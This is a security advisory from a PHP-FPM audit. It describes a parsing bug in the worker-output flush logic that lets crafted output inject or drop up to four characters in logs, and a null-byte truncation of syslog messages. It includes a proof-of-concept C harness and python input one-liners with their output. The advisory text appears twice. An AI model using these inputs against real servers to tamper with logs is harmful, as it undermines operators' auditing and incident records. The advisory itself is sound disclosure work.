Summary
In PHP-FPM, when configured to catch workers output through catch_workers_output = yes
configuration, it may be possible to pollute the final log with up to 4 characters from the FPM_STDIO_CMD_FLUSH
macro, or remove up to 4 characters from the logs. Additionally, If PHP-FPM is configured to use a syslog, it seems that much more characters can be excluded from the logs, even though it has not been tested.
Note that this issue was found and reported as part of Quarkslab security audit on PHP-SRC with the OSTIF and PHP Foundation.
Details
The method static void fpm_stdio_child_said
defined in sapi/fpm/fpm/fpm_stdio.c
is responsible for parsing and writing the logs out from workers input.
The interesting part is the following :
while (1) {
stdio_read:
in_buf = read(fd, buf, sizeof(buf) - 1);
if (in_buf <= 0) { /* no data */
if (in_buf == 0 || !PHP_IS_TRANSIENT_ERROR(errno)) {
/* pipe is closed or error */
read_fail = (in_buf < 0) ? in_buf : 1;
}
break;
}
start = 0;
if (cmd_pos > 0) {
if ((sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos) <= in_buf &&
!memcmp(buf, &FPM_STDIO_CMD_FLUSH[cmd_pos], sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos)) {
zlog_stream_finish(log_stream);
start = cmd_pos;
} else {
zlog_stream_str(log_stream, &FPM_STDIO_CMD_FLUSH[0], cmd_pos);
}
cmd_pos = 0;
}
for (pos = start; pos < in_buf; pos++) {
switch (buf[pos]) {
case '\n':
zlog_stream_str(log_stream, buf + start, pos - start);
zlog_stream_finish(log_stream);
start = pos + 1;
break;
case '\0':
if (pos + sizeof(FPM_STDIO_CMD_FLUSH) <= in_buf) {
if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, sizeof(FPM_STDIO_CMD_FLUSH))) {
zlog_stream_str(log_stream, buf + start, pos - start);
zlog_stream_finish(log_stream);
start = pos + sizeof(FPM_STDIO_CMD_FLUSH);
pos = start - 1;
}
} else if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, in_buf - pos)) {
cmd_pos = in_buf - pos;
zlog_stream_str(log_stream, buf + start, pos - start);
goto stdio_read;
}
break;
}
}
if (start < pos) {
zlog_stream_str(log_stream, buf + start, pos - start);
}
}
For each characters of buf
, it is checked whether it is \n
or \0
. \n
is used to indicate that the current line of log is terminated and can be written. \0
is used to detect the FPM_STDIO_CMD_FLUSH
macro characters sequence, defined as \0fscf\0
and used to flush logs. It acts the same as \n
.
If a \0
character is encountered, and if the end of the buffer is reached before the full comparison with FPM_STDIO_CMD_FLUSH
can be achieved, then the comparison is done with what is currently available:
} else if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, in_buf - pos)) {
cmd_pos = in_buf - pos;
zlog_stream_str(log_stream, buf + start, pos - start);
goto stdio_read;
}
If it matches, the number of characters that have already been checked is saved in cmd_pos
and a goto
statement bring the control flow back to the top of the loop so that the buffer can be filled again. After that, the comparison continues :
start = 0;
if (cmd_pos > 0) {
if ((sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos) <= in_buf &&
!memcmp(buf, &FPM_STDIO_CMD_FLUSH[cmd_pos], sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos)) {
zlog_stream_finish(log_stream);
start = cmd_pos; // IT SHOULD BE sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos
} else {
zlog_stream_str(log_stream, &FPM_STDIO_CMD_FLUSH[0], cmd_pos);
}
cmd_pos = 0;
}
As cmd_pos
is superior to 0, the comparison continues with the remaining characters to compare with. If it matches, the current buffer is written and flushed. The cursor is set to cmd_pos
and the iteration on the buffer starts again.
However, as is, the rest of the FPM_STDIO_CMD_FLUSH
characters sequence is added to the next output, including the \0
character, or, the first bytes of the next outputs are not included depending of the value of cmd_pos
.
That is because start
shouldn't be set to cmd_pos
value, which correspond to the number of characters that have already been compared, from the previous buffer. It should be set to sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos
instead.
Additionnally and more generally, if a null character is contained in the log and a syslog is configured, it appears that the final string to be written won't contains the characters after this null character. Indeed, logs are sent by calling php_syslog(syslog_priorities[zlog_level], "%s", stream->buf.data);
from zlog_stream_buf_append
defined as :
static ssize_t zlog_stream_buf_flush(struct zlog_stream *stream) /* {{{ */
{
ssize_t written;
#ifdef HAVE_SYSLOG_H
if (stream->use_syslog) {
zlog_stream_buf_copy_char(stream, '\0');
php_syslog(syslog_priorities[zlog_level], "%s", stream->buf.data);
--stream->len;
}
#endif
if (external_logger != NULL) {
external_logger(stream->flags & ZLOG_LEVEL_MASK,
stream->buf.data + stream->prefix_len, stream->len - stream->prefix_len);
}
zlog_stream_buf_copy_char(stream, '\n');
written = zlog_stream_direct_write(stream, stream->buf.data, stream->len);
stream->len = 0;
return written;
}
It seams pretty obvious that a null character will be treated as the end of the buffer regarding the following line : zlog_stream_buf_copy_char(stream, '\0');
which is called right beforephp_syslog
is, and that the buffer data is passed as a parameter without any information on its length.
I anyway checked how the buffer was formatted and sent to the syslog server. The buffer and arguments are processed by xbuf_format_converter
function defined in /main/spprintf.c
, where, as expected, the length of the argument is determined using strlen
function, which will stops on \0
:
case 's':
s = va_arg(ap, char *);
if (s != NULL) {
if (!adjust_precision) {
s_len = strlen(s);
} else {
s_len = zend_strnlen(s, precision);
}
} else {
s = S_NULL;
s_len = S_NULL_LEN;
}
pad_char = ' ';
break;
Note that some prerequisites may be needed in order to exploit this vulnerability from the outside world. Auditing the communications between PHP-FPM Master and its workers was one of the asked key tasks regarding Quarkslab audit.
PoC
Using the following code, it is possible to reproduce the described behavior on log pollution, up to 4 characters.
The function fpm_stdio_child_said
has been extracted and adapted so it can read data from a buffer instead of a file descriptor:
#include "fuzzer.h"
#include "Zend/zend.h"
#include "main/php_config.h"
#include "main/php_main.h"
#include "sapi/fpm/fpm/fpm.h"
#include "sapi/fpm/fpm/fpm_children.h"
#include "sapi/fpm/fpm/fpm_stdio.h"
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include "fuzzer-sapi.h"
#define FPM_STDIO_CMD_FLUSH "\0fscf"
#define BUFF_SIZE 8192
static void fpm_stdio_child_said_poc(char *Data, size_t Size, uint32_t buffer) /* {{{ */
{
char *buf = Data;
int is_stdout;
int in_buf = 0, cmd_pos = 0, pos, start;
int read_fail = 0, create_log_stream;
size_t read_bytes = 0;
struct zlog_stream *log_stream;
log_stream = malloc(sizeof(struct zlog_stream));
zlog_stream_init_ex(log_stream, ZLOG_WARNING, STDERR_FILENO);
log_stream->use_buffer = buffer;
log_stream->buf_init_size = 1024; //added
zlog_stream_set_decorating(log_stream, 1);
zlog_stream_set_wrapping(log_stream, ZLOG_TRUE);
zlog_stream_set_msg_prefix(log_stream, STREAM_SET_MSG_PREFIX_FMT,
"www", (int) 99999, "stdout");
zlog_stream_set_msg_quoting(log_stream, ZLOG_TRUE);
zlog_stream_set_is_stdout(log_stream, 1);
zlog_stream_set_child_pid(log_stream, 99999);
size_t readTotalBytes = 0;
int iteration = 0;
while (1) {
read_stdio:
buf += read_bytes;
readTotalBytes += read_bytes;
if (readTotalBytes == Size) {
in_buf = 0;
break;
} else if (readTotalBytes + 1023 > Size) {
in_buf = (int)(Size - readTotalBytes);
} else {
in_buf = 1023;
}
read_bytes = in_buf;
if (in_buf <= 0) { /* no data */
/* pipe is closed or error */
read_fail = (in_buf < 0) ? in_buf : 1;
break;
}
start = 0;
if (cmd_pos > 0) {
if ((sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos) <= in_buf &&
!memcmp(buf, &FPM_STDIO_CMD_FLUSH[cmd_pos], sizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos)) {
zlog_stream_finish(log_stream);
start = cmd_pos;
} else {
zlog_stream_str(log_stream, &FPM_STDIO_CMD_FLUSH[0], cmd_pos);
}
cmd_pos = 0;
}
for (pos = start; pos < in_buf; pos++) {
switch (buf[pos]) {
case '\n':
zlog_stream_str(log_stream, buf + start, pos - start);
zlog_stream_finish(log_stream);
start = pos + 1;
break;
case '\0':
if (pos + sizeof(FPM_STDIO_CMD_FLUSH) <= in_buf) {
if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, sizeof(FPM_STDIO_CMD_FLUSH))) {
zlog_stream_str(log_stream, buf + start, pos - start);
zlog_stream_finish(log_stream);
start = pos + sizeof(FPM_STDIO_CMD_FLUSH);
pos = start - 1;
}
} else if (!memcmp(buf + pos, FPM_STDIO_CMD_FLUSH, in_buf - pos)) {
cmd_pos = in_buf - pos;
zlog_stream_str(log_stream, buf + start, pos - start);
goto read_stdio;
}
break;
}
}
if (start < pos) {
zlog_stream_str(log_stream, buf + start, pos - start);
}
in_buf = 0;
}
if (read_fail && log_stream) {
zlog_stream_set_msg_suffix(log_stream, NULL, ", pipe is closed");
zlog_stream_finish(log_stream);
}
zlog_stream_destroy(log_stream);
if(log_stream)
free(log_stream);
}
int main(int argc, char **argv) {
char input[BUFF_SIZE+1];
memset(input, 0, BUFF_SIZE+1);
FILE * fptr = NULL;
if(argc > 1 && argc == 2) {
fptr = fopen(argv[1], "rb");
fread(input, BUFF_SIZE, 1, fptr);
} else {
fgets(input, BUFF_SIZE, stdin);
}
for(int i=0; i<2; i++) {
fpm_stdio_child_said_poc(input, BUFF_SIZE, i);
}
if (fptr)
fclose(fptr);
return 0;
}
As a first demonstration, we're filling the buffer with data and ends it with the first character of FPM_STDIO_CMD_FLUSH
so that the end of the buffer will contains \[...]AAAQuarkslab\0\0
root@r:~/php-src# python3 -c 'print("A" * 1013 + "Quarkslab"+ "\0fscf\0" + "Quarkslab")' | ./sapi/fuzzer/php-fuzz-std-fpm
[24-Jul-2024 15:02:00] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAA"
[24-Jul-2024 15:02:00] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAAQuarkslab"
[24-Jul-2024 15:02:00] WARNING: [pool www] child 99999 said into stdout: "scfQuarkslab"
The null character isn't showed because the shell ignores it but it is included in the output.
In order to suppress up to 4 characters, one has to write all the characters of FPM_STDIO_CMD_FLUSH
except the last one in the end of the buffer :
root@r:~/php-src# python3 -c 'print("A" * 1009 + "Quarkslab"+ "\0fscf\0" + "Quarkslab")' | ./sapi/fuzzer/php-fuzz-std-fpm
[24-Jul-2024 16:12:08] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAA"
[24-Jul-2024 16:12:08] WARNING: [pool www] child 99999 said into stdout: "AAA[...]AAAQuarkslab"
[24-Jul-2024 16:12:08] WARNING: [pool www] child 99999 said into stdout: "kslab"
Impact
The impact is low.
Users of PHP-FPM that redirect stdout
and stderr
of the workers towards the master process are be affected. If the length of the messages can be controlled, logs can be polluted by including part of FPM_STDIO_CMD_FLUSH
, or stripped from up to 4 characters.
If a SYSLOG is configured and a null character can be injected in the messages sent by the workers, it seems that the rest of the log is not sent.
Summary
In PHP-FPM, when configured to catch workers output through
catch_workers_output = yes
configuration, it may be possible to pollute the final log with up to 4 characters from theFPM_STDIO_CMD_FLUSH
macro, or remove up to 4 characters from the logs. Additionally, If PHP-FPM is configured to use a syslog, it seems that much more characters can be excluded from the logs, even though it has not been tested.Note that this issue was found and reported as part of Quarkslab security audit on PHP-SRC with the OSTIF and PHP Foundation.
Details
The method
static void fpm_stdio_child_said
defined insapi/fpm/fpm/fpm_stdio.c
is responsible for parsing and writing the logs out from workers input.The interesting part is the following :
For each characters of
buf
, it is checked whether it is\n
or\0
.\n
is used to indicate that the current line of log is terminated and can be written.\0
is used to detect theFPM_STDIO_CMD_FLUSH
macro characters sequence, defined as\0fscf\0
and used to flush logs. It acts the same as\n
.If a
\0
character is encountered, and if the end of the buffer is reached before the full comparison withFPM_STDIO_CMD_FLUSH
can be achieved, then the comparison is done with what is currently available:If it matches, the number of characters that have already been checked is saved in
cmd_pos
and agoto
statement bring the control flow back to the top of the loop so that the buffer can be filled again. After that, the comparison continues :As
cmd_pos
is superior to 0, the comparison continues with the remaining characters to compare with. If it matches, the current buffer is written and flushed. The cursor is set tocmd_pos
and the iteration on the buffer starts again.However, as is, the rest of the
FPM_STDIO_CMD_FLUSH
characters sequence is added to the next output, including the\0
character, or, the first bytes of the next outputs are not included depending of the value ofcmd_pos
.That is because
start
shouldn't be set tocmd_pos
value, which correspond to the number of characters that have already been compared, from the previous buffer. It should be set tosizeof(FPM_STDIO_CMD_FLUSH) - cmd_pos
instead.Additionnally and more generally, if a null character is contained in the log and a syslog is configured, it appears that the final string to be written won't contains the characters after this null character. Indeed, logs are sent by calling
php_syslog(syslog_priorities[zlog_level], "%s", stream->buf.data);
fromzlog_stream_buf_append
defined as :It seams pretty obvious that a null character will be treated as the end of the buffer regarding the following line :
zlog_stream_buf_copy_char(stream, '\0');
which is called right beforephp_syslog
is, and that the buffer data is passed as a parameter without any information on its length.I anyway checked how the buffer was formatted and sent to the syslog server. The buffer and arguments are processed by
xbuf_format_converter
function defined in/main/spprintf.c
, where, as expected, the length of the argument is determined usingstrlen
function, which will stops on\0
:Note that some prerequisites may be needed in order to exploit this vulnerability from the outside world. Auditing the communications between PHP-FPM Master and its workers was one of the asked key tasks regarding Quarkslab audit.
PoC
Using the following code, it is possible to reproduce the described behavior on log pollution, up to 4 characters.
The function
fpm_stdio_child_said
has been extracted and adapted so it can read data from a buffer instead of a file descriptor:As a first demonstration, we're filling the buffer with data and ends it with the first character of
FPM_STDIO_CMD_FLUSH
so that the end of the buffer will contains\[...]AAAQuarkslab\0\0
The null character isn't showed because the shell ignores it but it is included in the output.
In order to suppress up to 4 characters, one has to write all the characters of
FPM_STDIO_CMD_FLUSH
except the last one in the end of the buffer :Impact
The impact is low.
Users of PHP-FPM that redirect
stdout
andstderr
of the workers towards the master process are be affected. If the length of the messages can be controlled, logs can be polluted by including part ofFPM_STDIO_CMD_FLUSH
, or stripped from up to 4 characters.If a SYSLOG is configured and a null character can be injected in the messages sent by the workers, it seems that the rest of the log is not sent.